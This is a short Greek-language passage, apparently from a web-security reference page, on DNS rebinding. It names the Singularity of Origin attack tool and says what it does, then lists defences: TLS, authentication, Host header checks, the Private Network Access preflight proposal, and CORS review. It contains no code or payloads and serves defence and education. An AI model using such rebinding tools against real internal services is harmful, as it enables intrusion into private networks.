Singularity of Origin είναι ένα εργαλείο για να εκτελέσετε επιθέσεις DNS rebinding. Περιλαμβάνει τα απαραίτητα στοιχεία για να επαναδέσετε την IP διεύθυνση του ονόματος DNS του διακομιστή επίθεσης στην IP διεύθυνση της στόχου μηχανής και να εξυπηρετήσετε φορτία επίθεσης για να εκμεταλλευτείτε ευάλωτο λογισμικό στη μηχανή στόχο.

Πραγματική Προστασία ενάντια στο DNS Rebinding

Χρησιμοποιήστε TLS σε εσωτερικές υπηρεσίες
Ζητήστε πιστοποίηση για πρόσβαση σε δεδομένα
Επικυρώστε την κεφαλίδα Host
https://wicg.github.io/private-network-access/: Πρόταση για πάντα να στέλνετε ένα προ-πτέρυγο αίτημα όταν δημόσιοι διακομιστές θέλουν πρόσβαση σε εσωτερικούς διακομιστές

Εργαλεία

Αναζητήστε πιθανές λανθασμένες ρυθμίσεις στις πολιτικές CORS

Αναφορές

Websec | Uw Cybersecurity Specialist